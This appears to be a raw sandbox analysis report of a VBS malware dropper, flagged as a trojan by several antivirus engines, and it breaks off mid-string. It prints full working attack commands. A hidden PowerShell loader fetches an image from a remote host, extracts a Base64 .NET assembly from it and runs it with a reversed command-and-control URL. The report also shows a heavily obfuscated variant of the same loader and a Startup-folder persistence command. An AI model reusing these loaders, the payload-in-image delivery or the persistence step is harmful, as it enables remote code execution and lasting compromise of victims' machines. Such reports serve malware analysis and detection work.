command_line: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypss -NoProfile -command "$imageUrl = 'https://uploaddeimagens.com.br/images/004/563/621/original/universo_vbs.jpeg?1690931855';$webClient = New-Object System.Net.WebClient;$imageBytes = $webClient.DownloadData($imageUrl);$imageText = [System.Text.Encoding]::UTF8.GetString($imageBytes);$startFlag = '<<BASE64_START>>';$endFlag = '<<BASE64_END>>';$startIndex = $imageText.IndexOf($startFlag);$endIndex = $imageText.IndexOf($endFlag);$startIndex -ge 0 -and $endIndex -gt $startIndex;$startIndex += $startFlag.Length;$base64Length = $endIndex - $startIndex;$base64Command = $imageText.Substring($startIndex, $base64Length);$commandBytes = [System.Convert]::FromBase64String($base64Command);$loadedAssembly = [System.Reflection.Assembly]::Load($commandBytes);$type = $loadedAssembly.GetType('Fiber.Home');$method = $type.GetMethod('VAI');$arguments = ,('txt.89qul/lt/761.161.651.49//:ptth');$method.Invoke($null, $arguments)"
filepath_r:
stack_pivoted: 0
creation_flags: 0 ()
inherit_handles: 1
process_handle: 0x0000045c
1 1 0
Symantec Scr.Malcode!gen102
Avast VBS:Obfuscated-JK [Cryp]
Kaspersky HEUR:Trojan.Script.Generic
NANO-Antivirus Trojan.Script.Hworm.dmiour
AVG VBS:Obfuscated-JK [Cryp]
Time & API Arguments Status Return Repeated

GetAdaptersAddresses

 flags: 15
family: 0
111 0
Data received [
Data received Wdñ*¬ÝSiÁ‡¢&“ŠcÁbS9|_²Ó„DOWNGRD ÅC–kš¼¿}Oƒhý¡Ž¡œ3ô¯Lƒ€:D`Bê½À ÿ 
Data received P
Data received ’
Data received ŽA瑂‰½‹n+Êô»åx–Î1YèçO ±¯]à& ™ y…¿~h2Ø÷^u¶“5ÊXÏ: ¥íœ¦áËG0E!¹ÀJ\ñœDðfæÌ#¯KM, ÉÝ ìHõÚcy« '‘|؀äÔÇõíz†Ž§/%Pqd{÷ü(Ñ&̬ƒ/
Data received 
Data received 
Data received 
Data received 
Data received 0
Data received WC³òºxP™ÌEÔôò7-ÐÖAM<µkJñO~è‘ò¶kœÁ›kÚVÔÇÞ"eõ
Data sent yudñ*£wFÃ&=n,C?ª¿ÒÉïÊf™Ý>H©Èg‘/5 ÀÀÀ À 284ÿuploaddeimagens.com.br  
Data sent FBA?mf°&Ó w¶DŽôµÀðGA3Æ¿»Þ{Øç^a´_›V’9§¬ôª9°GºÏÀÂgôَ³ø'ry„ûxF0ýwQD™_õÎßӅ1k}v­ôÞv I[åe¿`{u6fÁ®ù“² 1=Āœô©
Time & API Arguments Status Return Repeated

LookupPrivilegeValueW

 system_name:
privilege_name: SeDebugPrivilege
1 1 0

LookupPrivilegeValueW

 system_name:
privilege_name: SeDebugPrivilege
1 1 0

LookupPrivilegeValueW

 system_name:
privilege_name: SeDebugPrivilege
1 1 0
cmdline cmd.exe /c ping 127.0.0.1 -n 5 & cmd.exe /c "powershell -command [System.IO.File]::Copy('C:\Users\test22\AppData\Local\Temp\HWX.vbs','C:\Users\' + [Environment]::UserName + '\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\ kGB.vbs')"
cmdline "C:\Windows\System32\cmd.exe" /c ping 127.0.0.1 -n 5 & cmd.exe /c "powershell -command [System.IO.File]::Copy('C:\Users\test22\AppData\Local\Temp\HWX.vbs','C:\Users\' + [Environment]::UserName + '\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\ kGB.vbs')"
cmdline ping 127.0.0.1 -n 5
Time & API Arguments Status Return Repeated

send

 buffer: yudñ*£wFÃ&=n,C?ª¿ÒÉïÊf™Ý>H©Èg‘/5 ÀÀÀ À 284ÿuploaddeimagens.com.br  
socket: 1452
sent: 126
1 126 0

send

 buffer: FBA?mf°&Ó w¶DŽôµÀðGA3Æ¿»Þ{Øç^a´_›V’9§¬ôª9°GºÏÀÂgôَ³ø'ry„ûxF0ýwQD™_õÎßӅ1k}v­ôÞv I[åe¿`{u6fÁ®ù“² 1=Āœô©
socket: 1452
sent: 134
1 134 0

WSASend

 buffer: GET /roots/dstrootcax3.p7c HTTP/1.1 Connection: Keep-Alive Accept: */* User-Agent: Microsoft-CryptoAPI/6.1 Host: apps.identrust.com
socket: 2040
0 0
parent_process wscript.exe martian_process powershell -command $Codigo = 'JChr(63)&Chr(63)BpChr(63)&Chr(63)G0Chr(63)&Chr(63)YQBnChr(63)&Chr(63)GUChr(63)&Chr(63)VQByChr(63)&Chr(63)GwChr(63)&Chr(63)IChr(63)&Chr(63)Chr(63)&Chr(63)9Chr(63)&Chr(63)CChr(63)&Chr(63)Chr(63)&Chr(63)JwBoChr(63)&Chr(63)HQChr(63)&Chr(63)dChr(63)&Chr(63)BwChr(63)&Chr(63)HMChr(63)&Chr(63)OgChr(63)&Chr(63)vChr(63)&Chr(63)C8Chr(63)&Chr(63)dQBwChr(63)&Chr(63)GwChr(63)&Chr(63)bwBhChr(63)&Chr(63)GQChr(63)&Chr(63)ZChr(63)&Chr(63)BlChr(63)&Chr(63)GkChr(63)&Chr(63)bQBhChr(63)&Chr(63)GcChr(63)&Chr(63)ZQBuChr(63)&Chr(63)HMChr(63)&Chr(63)LgBjChr(63)&Chr(63)G8Chr(63)&Chr(63)bQChr(63)&Chr(63)uChr(63)&Chr(63)GIChr(63)&Chr(63)cgChr(63)&Chr(63)vChr(63)&Chr(63)GkChr(63)&Chr(63)bQBhChr(63)&Chr(63)GcChr(63)&Chr(63)ZQBzChr(63)&Chr(63)C8Chr(63)&Chr(63)MChr(63)&Chr(63)Chr(63)&Chr(63)wChr(63)&Chr(63)DQChr(63)&Chr(63)LwChr(63)&Chr(63)1Chr(63)&Chr(63)DYChr(63)&Chr(63)MwChr(63)&Chr(63)vChr(63)&Chr(63)DYChr(63)&Chr(63)MgChr(63)&Chr(63)xChr(63)&Chr(63)C8Chr(63)&Chr(63)bwByChr(63)&Chr(63)GkChr(63)&Chr(63)ZwBpChr(63)&Chr(63)G4Chr(63)&Chr(63)YQBsChr(63)&Chr(63)C8Chr(63)&Chr(63)dQBuChr(63)&Chr(63)GkChr(63)&Chr(63)dgBlChr(63)&Chr(63)HIChr(63)&Chr(63)cwBvChr(63)&Chr(63)F8Chr(63)&Chr(63)dgBiChr(63)&Chr(63)HMChr(63)&Chr(63)LgBqChr(63)&Chr(63)HChr(63)&Chr(63)Chr(63)&Chr(63)ZQBnChr(63)&Chr(63)D8Chr(63)&Chr(63)MQChr(63)&Chr(63)2Chr(63)&Chr(63)DkChr(63)&Chr(63)MChr(63)&Chr(63)Chr(63)&Chr(63)5Chr(63)&Chr(63)DMChr(63)&Chr(63)MQChr(63)&Chr(63)4Chr(63)&Chr(63)DUChr(63)&Chr(63)NQChr(63)&Chr(63)nChr(63)&Chr(63)DsChr(63)&Chr(63)JChr(63)&Chr(63)B3Chr(63)&Chr(63)GUChr(63)&Chr(63)YgBDChr(63)&Chr(63)GwChr(63)&Chr(63)aQBlChr(63)&Chr(63)G4Chr(63)&Chr(63)dChr(63)&Chr(63)Chr(63)&Chr(63)gChr(63)&Chr(63)D0Chr(63)&Chr(63)IChr(63)&Chr(63)BOChr(63)&Chr(63)GUChr(63)&Chr(63)dwChr(63)&Chr(63)tChr(63)&Chr(63)E8Chr(63)&Chr(63)YgBqChr(63)&Chr(63)GUChr(63)&Chr(63)YwB0Chr(63)&Chr(63)CChr(63)&Chr(63)Chr(63)&Chr(63)UwB5Chr(63)&Chr(63)HMChr(63)&Chr(63)dChr(63)&Chr(63)BlChr(63)&Chr(63)G0Chr(63)&Chr(63)LgBOChr(63)&Chr(63)GUChr(63)&Chr(63)dChr(63)&Chr(63)Chr(63)&Chr(63)uChr(63)&Chr(63)FcChr(63)&Chr(63)ZQBiChr(63)&Chr(63)EMChr(63)&Chr(63)bChr(63)&Chr(63)BpChr(63)&Chr(63)GUChr(63)&Chr(63)bgB0Chr(63)&Chr(63)DsChr(63)&Chr(63)JChr(63)&Chr(63)BpChr(63)&Chr(63)G0Chr(63)&Chr(63)YQBnChr(63)&Chr(63)GUChr(63)&Chr(63)QgB5Chr(63)&Chr(63)HQChr(63)&Chr(63)ZQBzChr(63)&Chr(63)CChr(63)&Chr(63)Chr(63)&Chr(63)PQChr(63)&Chr(63)gChr(63)&Chr(63)CQChr(63)&Chr(63)dwBlChr(63)&Chr(63)GIChr(63)&Chr(63)QwBsChr(63)&Chr(63)GkChr(63)&Chr(63)ZQBuChr(63)&Chr(63)HQChr(63)&Chr(63)LgBEChr(63)&Chr(63)G8Chr(63)&Chr(63)dwBuChr(63)&Chr(63)GwChr(63)&Chr(63)bwBhChr(63)&Chr(63)GQChr(63)&Chr(63)RChr(63)&Chr(63)BhChr(63)&Chr(63)HQChr(63)&Chr(63)YQChr(63)&Chr(63)oChr(63)&Chr(63)CQChr(63)&Chr(63)aQBtChr(63)&Chr(63)GEChr(63)&Chr(63)ZwBlChr(63)&Chr(63)FUChr(63)&Chr(63)cgBsChr(63)&Chr(63)CkChr(63)&Chr(63)OwChr(63)&Chr(63)kChr(63)&Chr(63)GkChr(63)&Chr(63)bQBhChr(63)&Chr(63)GcChr(63)&Chr(63)ZQBUChr(63)&Chr(63)GUChr(63)&Chr(63)eChr(63)&Chr(63)B0Chr(63)&Chr(63)CChr(63)&Chr(63)Chr(63)&Chr(63)PQChr(63)&Chr(63)gChr(63)&Chr(63)FsChr(63)&Chr(63)UwB5Chr(63)&Chr(63)HMChr(63)&Chr(63)dChr(63)&Chr(63)BlChr(63)&Chr(63)G0Chr(63)&Chr(63)LgBUChr(63)&Chr(63)GUChr(63)&Chr(63)eChr(63)&Chr(63)B0Chr(63)&Chr(63)C4Chr(63)&Chr(63)RQBuChr(63)&Chr(63)GMChr(63)&Chr(63)bwBkChr(63)&Chr(63)GkChr(63)&Chr(63)bgBnChr(63)&Chr(63)F0Chr(63)&Chr(63)OgChr(63)&Chr(63)6Chr(63)&Chr(63)FUChr(63)&Chr(63)VChr(63)&Chr(63)BGChr(63)&Chr(63)DgChr(63)&Chr(63)LgBHChr(63)&Chr(63)GUChr(63)&Chr(63)dChr(63)&Chr(63)BTChr(63)&Chr(63)HQChr(63)&Chr(63)cgBpChr(63)&Chr(63)G4Chr(63)&Chr(63)ZwChr(63)&Chr(63)oChr(63)&Chr(63)CQChr(63)&Chr(63)aQBtChr(63)&Chr(63)GEChr(63)&Chr(63)ZwBlChr(63)&Chr(63)EIChr(63)&Chr(63)eQB0Chr(63)&Chr(63)GUChr(63)&Chr(63)cwChr(63)&Chr(63)pChr(63)&Chr(63)DsChr(63)&Chr(63)JChr(63)&Chr(63)BzChr(63)&Chr(63)HQChr(63)&Chr(63)YQByChr(63)&Chr(63)HQChr(63)&Chr(63)RgBsChr(63)&Chr(63)GEChr(63)&Chr(63)ZwChr(63)&Chr(63)gChr(63)&Chr(63)D0Chr(63)&Chr(63)IChr(63)&Chr(63)Chr(63)&Chr(63)nChr(63)&Chr(63)DwChr(63)&Chr(63)PChr(63)&Chr(63)BCChr(63)&Chr(63)EEChr(63)&Chr(63)UwBFChr(63)&Chr(63)DYChr(63)&Chr(63)NChr(63)&Chr(63)BfChr(63)&Chr(63)FMChr(63)&Chr(63)VChr(63)&Chr(63)BBChr(63)&Chr(63)FIChr(63)&Chr(63)VChr(63)&Chr(63)Chr(63)&Chr(63)+Chr(63)&Chr(63)D4Chr(63)&Chr(63)JwChr(63)&Chr(63)7Chr(63)&Chr(63)CQChr(63)&Chr(63)ZQBuChr(63)&Chr(63)GQChr(63)&Chr(63)RgBsChr(63)&Chr(63)GEChr(63)&Chr(63)ZwChr(63)&Chr(63)gChr(63)&Chr(63)D0Chr(63)&Chr(63)IChr(63)&Chr(63)Chr(63)&Chr(63)nChr(63)&Chr(63)DwChr(63)&Chr(63)PChr(63)&Chr(63)BCChr(63)&Chr(63)EEChr(63)&Chr(63)UwBFChr(63)&Chr(63)DYChr(63)&Chr(63)NChr(63)&Chr(63)BfChr(63)&Chr(63)EUChr(63)&Chr(63)TgBEChr(63)&Chr(63)D4Chr(63)&Chr(63)PgChr(63)&Chr(63)nChr(63)&Chr(63)DsChr(63)&Chr(63)JChr(63)&Chr(63)BzChr(63)&Chr(63)HQChr(63)&Chr(63)YQByChr(63)&Chr(63)HQChr(63)&Chr(63)SQBuChr(63)&Chr(63)GQChr(63)&Chr(63)ZQB4Chr(63)&Chr(63)CChr(63)&Chr(63)Chr(63)&Chr(63)PQChr(63)&Chr(63)gChr(63)&Chr(63)CQChr(63)&Chr(63)aQBtChr(63)&Chr(63)GEChr(63)&Chr(63)ZwBlChr(63)&Chr(63)FQChr(63)&Chr(63)ZQB4Chr(63)&Chr(63)HQChr(63)&Chr(63)LgBJChr(63)&Chr(63)G4Chr(63)&Chr(63)ZChr(63)&Chr(63)BlChr(63)&Chr(63)HgChr(63)&Chr(63)TwBmChr(63)&Chr(63)CgChr(63)&Chr(63)JChr(63)&Chr(63)BzChr(63)&Chr(63)HQChr(63)&Chr(63)YQByChr(63)&Chr(63)HQChr(63)&Chr(63)RgBsChr(63)&Chr(63)GEChr(63)&Chr(63)ZwChr(63)&Chr(63)pChr(63)&Chr(63)DsChr(63)&Chr(63)JChr(63)&Chr(63)BlChr(63)&Chr(63)G4Chr(63)&Chr(63)ZChr(63)&Chr(63)BJChr(63)&Chr(63)G4Chr(63)&Chr(63)ZChr(63)&Chr(63)BlChr(63)&Chr(63)HgChr(63)&Chr(63)IChr(63)&Chr(63)Chr(63)&Chr(63)9Chr(63)&Chr(63)CChr(63)&Chr(63)Chr(63)&Chr(63)JChr(63)&Chr(63)BpChr(63)&Chr(63)G0Chr(63)&Chr(63)YQBnChr(63)&Chr(63)GUChr(63)&Chr(63)VChr(63)&Chr(63)BlChr(63)&Chr(63)HgChr(63)&Chr(63)dChr(63)&Chr(63)Chr(63)&Chr(63)uChr(63)&Chr(63)EkChr(63)&Chr(63)bgBkChr(63)&Chr(63)GUChr(63)&Chr(63)eChr(63)&Chr(63)BPChr(63)&Chr(63)GYChr(63)&Chr(63)KChr(63)&Chr(63)Chr(63)&Chr(63)kChr(63)&Chr(63)GUChr(63)&Chr(63)bgBkChr(63)&Chr(63)EYChr(63)&Chr(63)bChr(63)&Chr(63)BhChr(63)&Chr(63)GcChr(63)&Chr(63)KQChr(63)&Chr(63)7Chr(63)&Chr(63)CQChr(63)&Chr(63)cwB0Chr(63)&Chr(63)GEChr(63)&Chr(63)cgB0Chr(63)&Chr(63)EkChr(63)&Chr(63)bgBkChr(63)&Chr(63)GUChr(63)&Chr(63)eChr(63)&Chr(63)Chr(63)&Chr(63)gChr(63)&Chr(63)C0Chr(63)&Chr(63)ZwBlChr(63)&Chr(63)CChr(63)&Chr(63)Chr(63)&Chr(63)MChr(63)&Chr(63)Chr(63)&Chr(63)gChr(63)&Chr(63)C0Chr(63)&Chr(63)YQBuChr(63)&Chr(63)GQChr(63)&Chr(63)IChr(63)&Chr(63)Chr(63)&Chr(63)kChr(63)&Chr(63)GUChr(63)&Chr(63)bgBkChr(63)&Chr(63)EkChr(63)&Chr(63)bgBkChr(63)&Chr(63)GUChr(63)&Chr(63)eChr(63)&Chr(63)Chr(63)&Chr(63)gChr(63)&Chr(63)C0Chr(63)&Chr(63)ZwB0Chr(63)&Chr(63)CChr(63)&Chr(63)Chr(63)&Chr(63)JChr(63)&Chr(63)BzChr(63)&Chr(63)HQChr(63)&Chr(63)YQByChr(63)&Chr(63)HQChr(63)&Chr(63)SQBuChr(63)&Chr(63)GQChr(63)&Chr(63)ZQB4Chr(63)&Chr(63)DsChr(63)&Chr(63)JChr(63)&Chr(63)BzChr(63)&Chr(63)HQChr(63)&Chr(63)YQByChr(63)&Chr(63)HQChr(63)&Chr(63)SQBuChr(63)&Chr(63)GQChr(63)&Chr(63)ZQB4Chr(63)&Chr(63)CChr(63)&Chr(63)Chr(63)&Chr(63)KwChr(63)&Chr(63)9Chr(63)&Chr(63)CChr(63)&Chr(63)Chr(63)&Chr(63)JChr(63)&Chr(63)BzChr(63)&Chr(63)HQChr(63)&Chr(63)YQByChr(63)&Chr(63)HQChr(63)&Chr(63)RgBsChr(63)&Chr(63)GEChr(63)&Chr(63)ZwChr(63)&Chr(63)uChr(63)&Chr(63)EwChr(63)&Chr(63)ZQBuChr(63)&Chr(63)GcChr(63)&Chr(63)dChr(63)&Chr(63)BoChr(63)&Chr(63)DsChr(63)&Chr(63)JChr(63)&Chr(63)BiChr(63)&Chr(63)GEChr(63)&Chr(63)cwBlChr(63)&Chr(63)DYChr(63)&Chr(63)NChr(63)&Chr(63)BMChr(63)&Chr(63)GUChr(63)&Chr(63)bgBnChr(63)&Chr(63)HQChr(63)&Chr(63)aChr(63)&Chr(63)Chr(63)&Chr(63)gChr(63)&Chr(63)D0Chr(63)&Chr(63)IChr(63)&Chr(63)Chr(63)&Chr(63)kChr(63)&Chr(63)GUChr(63)&Chr(63)bgBkChr(63)&Chr(63)EkChr(63)&Chr(63)bgBkChr(63)&Chr(63)GUChr(63)&Chr(63)eChr(63)&Chr(63)Chr(63)&Chr(63)gChr(63)&Chr(63)C0Chr(63)&Chr(63)IChr(63)&Chr(63)Chr(63)&Chr(63)kChr(63)&Chr(63)HMChr(63)&Chr(63)dChr(63)&Chr(63)BhChr(63)&Chr(63)HIChr(63)&Chr(63)dChr(63)&Chr(63)BJChr(63)&Chr(63)G4Chr(63)&Chr(63)ZChr(63)&Chr(63)BlChr(63)&Chr(63)HgChr(63)&Chr(63)OwChr(63)&Chr(63)kChr(63)&Chr(63)GIChr(63)&Chr(63)YQBzChr(63)&Chr(63)GUChr(63)&Chr(63)NgChr(63)&Chr(63)0Chr(63)&Chr(63)EMChr(63)&Chr(63)bwBtChr(63)&Chr(63)G0Chr(63)&Chr(63)YQBuChr(63)&Chr(63)GQChr(63)&Chr(63)IChr(63)&Chr(63)Chr(63)&Chr(63)9Chr(63)&Chr(63)CChr(63)&Chr(63)Chr(63)&Chr(63)JChr(63)&Chr(63)BpChr(63)&Chr(63)G0Chr(63)&Chr(63)YQBnChr(63)&Chr(63)GUChr(63)&Chr(63)VChr(63)&Chr(63)BlChr(63)&Chr(63)HgChr(63)&Chr(63)dChr(63)&Chr(63)Chr(63)&Chr(63)uChr(63)&Chr(63)FMChr(63)&Chr(63)dQBiChr(63)&Chr(63)HMChr(63)&Chr(63)dChr(63)&Chr(63)ByChr(63)&Chr(63)GkChr(63)&Chr(63)bgBnChr(63)&Chr(63)CgChr(63)&Chr(63)JChr(63)&Chr(63)BzChr(63)&Chr(63)HQChr(63)&Chr(63)YQByChr(63)&Chr(63)HQChr(63)&Chr(63)SQBuChr(63)&Chr(63)GQChr(63)&Chr(63)ZQB4Chr(63)&Chr(63)CwChr(63)&Chr(63)IChr(63)&Chr(63)Chr(63)&Chr(63)kChr(63)&Chr(63)GIChr(63)&Chr(63)YQBzChr(63)&Chr(63)GUChr(63)&Chr(63)NgChr(63)&Chr(63)0Chr(63)&Chr(63)EwChr(63)&Chr(63)ZQBuChr(63)&Chr(63)GcChr(63)&Chr(63)dChr(63)&Chr(63)BoChr(63)&Chr(63)CkChr(63)&Chr(63)OwChr(63)&Chr(63)kChr(63)&Chr(63)GMChr(63)&Chr(63)bwBtChr(63)&Chr(63)G0Chr(63)&Chr(63)YQBuChr(63)&Chr(63)GQChr(63)&Chr(63)QgB5Chr(63)&Chr(63)HQChr(63)&Chr(63)ZQBzChr(63)&Chr(63)CChr(63)&Chr(63)Chr(63)&Chr(63)PQChr(63)&Chr(63)gChr(63)&Chr(63)FsChr(63)&Chr(63)UwB5Chr(63)&Chr(63)HMChr(63)&Chr(63)dChr(63)&Chr(63)BlChr(63)&Chr(63)G0Chr(63)&Chr(63)LgBDChr(63)&Chr(63)G8Chr(63)&Chr(63)bgB2Chr(63)&Chr(63)GUChr(63)&Chr(63)cgB0Chr(63)&Chr(63)F0Chr(63)&Chr(63)OgChr(63)&Chr(63)6Chr(63)&Chr(63)EYChr(63)&Chr(63)cgBvChr(63)&Chr(63)G0Chr(63)&Chr(63)QgBhChr(63)&Chr(63)HMChr(63)&Chr(63)ZQChr(63)&Chr(63)2Chr(63)&Chr(63)DQChr(63)&Chr(63)UwB0Chr(63)&Chr(63)HIChr(63)&Chr(63)aQBuChr(63)&Chr(63)GcChr(63)&Chr(63)KChr(63)&Chr(63)Chr(63)&Chr(63)kChr(63)&Chr(63)GIChr(63)&Chr(63)YQBzChr(63)&Chr(63)GUChr(63)&Chr(63)NgChr(63)&Chr(63)0Chr(63)&Chr(63)EMChr(63)&Chr(63)bwBtChr(63)&Chr(63)G0Chr(63)&Chr(63)YQBuChr(63)&Chr(63)GQChr(63)&Chr(63)KQChr(63)&Chr(63)7Chr(63)&Chr(63)CQChr(63)&Chr(63)bChr(63)&Chr(63)BvChr(63)&Chr(63)GEChr(63)&Chr(63)ZChr(63)&Chr(63)BlChr(63)&Chr(63)GQChr(63)&Chr(63)QQBzChr(63)&Chr(63)HMChr(63)&Chr(63)ZQBtChr(63)&Chr(63)GIChr(63)&Chr(63)bChr(63)&Chr(63)B5Chr(63)&Chr(63)CChr(63)&Chr(63)Chr(63)&Chr(63)PQChr(63)&Chr(63)gChr(63)&Chr(63)FsChr(63)&Chr(63)UwB5Chr(63)&Chr(63)HMChr(63)&Chr(63)dChr(63)&Chr(63)BlChr(63)&Chr(63)G0Chr(63)&Chr(63)LgBSChr(63)&Chr(63)GUChr(63)&Chr(63)ZgBsChr(63)&Chr(63)GUChr(63)&Chr(63)YwB0Chr(63)&Chr(63)GkChr(63)&Chr(63)bwBuChr(63)&Chr(63)C4Chr(63)&Chr(63)QQBzChr(63)&Chr(63)HMChr(63)&Chr(63)ZQBtChr(63)&Chr(63)GIChr(63)&Chr(63)bChr(63)&Chr(63)B5Chr(63)&Chr(63)F0Chr(63)&Chr(63)OgChr(63)&Chr(63)6Chr(63)&Chr(63)EwChr(63)&Chr(63)bwBhChr(63)&Chr(63)GQChr(63)&Chr(63)KChr(63)&Chr(63)Chr(63)&Chr(63)kChr(63)&Chr(63)GMChr(63)&Chr(63)bwBtChr(63)&Chr(63)G0Chr(63)&Chr(63)YQBuChr(63)&Chr(63)GQChr(63)&Chr(63)QgB5Chr(63)&Chr(63)HQChr(63)&Chr(63)ZQBzChr(63)&Chr(63)CkChr(63)&Chr(63)OwChr(63)&Chr(63)kChr(63)&Chr(63)HQChr(63)&Chr(63)eQBwChr(63)&Chr(63)GUChr(63)&Chr(63)IChr(63)&Chr(63)Chr(63)&Chr(63)9Chr(63)&Chr(63)CChr(63)&Chr(63)Chr(63)&Chr(63)JChr(63)&Chr(63)BsChr(63)&Chr(63)G8Chr(63)&Chr(63)YQBkChr(63)&Chr(63)GUChr(63)&Chr(63)ZChr(63)&Chr(63)BBChr(63)&Chr(63)HMChr(63)&Chr(63)cwBlChr(63)&Chr(63)G0Chr(63)&Chr(63)YgBsChr(63)&Chr(63)HkChr(63)&Chr(63)LgBHChr(63)&Chr(63)GUChr(63)&Chr(63)dChr(63)&Chr(63)BUChr(63)&Chr(63)HkChr(63)&Chr(63)cChr(63)&Chr(63)BlChr(63)&Chr(63)CgChr(63)&Chr(63)JwBGChr(63)&Chr(63)GkChr(63)&Chr(63)YgBlChr(63)&Chr(63)HIChr(63)&Chr(63)LgBIChr(63)&Chr(63)G8Chr(63)&Chr(63)bQBlChr(63)&Chr(63)CcChr(63)&Chr(63)KQChr(63)&Chr(63)7Chr(63)&Chr(63)CQChr(63)&Chr(63)bQBlChr(63)&Chr(63)HQChr(63)&Chr(63)aChr(63)&Chr(63)BvChr(63)&Chr(63)GQChr(63)&Chr(63)IChr(63)&Chr(63)Chr(63)&Chr(63)9Chr(63)&Chr(63)CChr(63)&Chr(63)Chr(63)&Chr(63)JChr(63)&Chr(63)B0Chr(63)&Chr(63)HkChr(63)&Chr(63)cChr(63)&Chr(63)BlChr(63)&Chr(63)C4Chr(63)&Chr(63)RwBlChr(63)&Chr(63)HQChr(63)&Chr(63)TQBlChr(63)&Chr(63)HQChr(63)&Chr(63)aChr(63)&Chr(63)BvChr(63)&Chr(63)GQChr(63)&Chr(63)KChr(63)&Chr(63)Chr(63)&Chr(63)nChr(63)&Chr(63)FYChr(63)&Chr(63)QQBJChr(63)&Chr(63)CcChr(63)&Chr(63)KQChr(63)&Chr(63)7Chr(63)&Chr(63)CQChr(63)&Chr(63)YQByChr(63)&Chr(63)GcChr(63)&Chr(63)dQBtChr(63)&Chr(63)GUChr(63)&Chr(63)bgB0Chr(63)&Chr(63)HMChr(63)&Chr(63)IChr(63)&Chr(63)Chr(63)&Chr(63)9Chr(63)&Chr(63)CChr(63)&Chr(63)Chr(63)&Chr(63)LChr(63)&Chr(63)Chr(63)&Chr(63)oChr(63)&Chr(63)CcChr(63)&Chr(63)dChr(63)&Chr(63)B4Chr(63)&Chr(63)HQChr(63)&Chr(63)LgChr(63)&Chr(63)4Chr(63)&Chr(63)DkChr(63)&Chr(63)cQB1Chr(63)&Chr(63)GwChr(63)&Chr(63)LwBsChr(63)&Chr(63)HQChr(63)&Chr(63)LwChr(63)&Chr(63)3Chr(63)&Chr(63)DYChr(63)&Chr(63)MQChr(63)&Chr(63)uChr(63)&Chr(63)DEChr(63)&Chr(63)NgChr(63)&Chr(63)xChr(63)&Chr(63)C4Chr(63)&Chr(63)NgChr(63)&Chr(63)1Chr(63)&Chr(63)DEChr(63)&Chr(63)LgChr(63)&Chr(63)0Chr(63)&Chr(63)DkChr(63)&Chr(63)LwChr(63)&Chr(63)vChr(63)&Chr(63)DoChr(63)&Chr(63)cChr(63)&Chr(63)B0Chr(63)&Chr(63)HQChr(63)&Chr(63)aChr(63)&Chr(63)Chr(63)&Chr(63)nChr(63)&Chr(63)CkChr(63)&Chr(63)OwChr(63)&Chr(63)kChr(63)&Chr(63)G0Chr(63)&Chr(63)ZQB0Chr(63)&Chr(63)GgChr(63)&Chr(63)bwBkChr(63)&Chr(63)C4Chr(63)&Chr(63)SQBuChr(63)&Chr(63)HYChr(63)&Chr(63)bwBrChr(63)&Chr(63)GUChr(63)&Chr(63)KChr(63)&Chr(63)Chr(63)&Chr(63)kChr(63)&Chr(63)G4Chr(63)&Chr(63)dQBsChr(63)&Chr(63)GwChr(63)&Chr(63)LChr(63)&Chr(63)Chr(63)&Chr(63)gChr(63)&Chr(63)CQChr(63)&Chr(63)YQByChr(63)&Chr(63)GcChr(63)&Chr(63)dQBtChr(63)&Chr(63)GUChr(63)&Chr(63)bgB0Chr(63)&Chr(63)HMChr(63)&Chr(63)KQChr(63)&Chr(63)=';$OWjuxd = [system.Text.encoding]::Unicode.GetString( [system.Convert]::Frombase64String( $codigo.replace('Chr(63)&Chr(63)','A') ) );powershell.exe -windowstyle hidden -executionpolicy bypss -NoProfile -command $OWjuxD
parent_process wscript.exe martian_process cmd.exe /c ping 127.0.0.1 -n 5 & cmd.exe /c "powershell -command [System.IO.File]::Copy('C:\Users\test22\AppData\Local\Temp\HWX.vbs','C:\Users\' + [Environment]::UserName + '\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\ kGB.vbs')"
parent_process wscript.exe martian_process "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'JChr(63)&Chr(63)BpChr(63)&Chr(63)G0Chr(63)&Chr(63)YQBnChr(63)&Chr(63)GUChr(63)&Chr(63)VQByChr(63)&Chr(63)GwChr(63)&Chr(63)IChr(63)&Chr(63)Chr(63)&Chr(63)9Chr(63)&Chr(63)CChr(63)&Chr(63)Chr(63)&Chr(63)JwBoChr(63)&Chr(63)HQChr(63)&Chr(63)dChr(63)&Chr(63)BwChr(63)&Chr(63)HMChr(63)&Chr(63)OgChr(63)&Chr(63)vChr(63)&Chr(63)C8Chr(63)&Chr(63)dQBwChr(63)&Chr(63)GwChr(63)&Chr(63)bwBhChr(63)&Chr(63)GQChr(63)&Chr(63)ZChr(63)&Chr(63)BlChr(63)&Chr(63)GkChr(63)&Chr(63)bQBhChr(63)&Chr(63)GcChr(63)&Chr(63)ZQBuChr(63)&Chr(63)HMChr(63)&Chr(63)LgBjChr(63)&Chr(63)G8Chr(63)&Chr(63)bQChr(63)&Chr(63)uChr(63)&Chr(63)GIChr(63)&Chr(63)cgChr(63)&Chr(63)vChr(63)&Chr(63)GkChr(63)&Chr(63)bQBhChr(63)&Chr(63)GcChr(63)&Chr(63)ZQBzChr(63)&Chr(63)C8Chr(63)&Chr(63)MChr(63)&Chr(63)Chr(63)&Chr(63)wChr(63)&Chr(63)DQChr(63)&Chr(63)LwChr(63)&Chr(63)1Chr(63)&Chr(63)DYChr(63)&Chr(63)MwChr(63)&Chr(63)vChr(63)&Chr(63)DYChr(63)&Chr(63)MgChr(63)&Chr(63)xChr(63)&Chr(63)C8Chr(63)&Chr(63)bwByChr(63)&Chr(63)GkChr(63)&Chr(63)ZwBpChr(63)&Chr(63)G4Chr(63)&Chr(63)YQBsChr(63)&Chr(63)C8Chr(63)&Chr(63)dQBuChr(63)&Chr(63)GkChr(63)&Chr(63)dgBlChr(63)&Chr(63)HIChr(63)&Chr(63)cwBvChr(63)&Chr(63)F8Chr(63)&Chr(63)dgBiChr(63)&Chr(63)HMChr(63)&Chr(63)LgBqChr(63)&Chr(63)HChr(63)&Chr(63)Chr(63)&Chr(63)ZQBnChr(63)&Chr(63)D8Chr(63)&Chr(63)MQChr(63)&Chr(63)2Chr(63)&Chr(63)DkChr(63)&Chr(63)MChr(63)&Chr(63)Chr(63)&Chr(63)5Chr(63)&Chr(63)DMChr(63)&Chr(63)MQChr(63)&Chr(63)4Chr(63)&Chr(63)DUChr(63)&Chr(63)NQChr(63)&Chr(63)nChr(63)&Chr(63)DsChr(63)&Chr(63)JChr(63)&Chr(63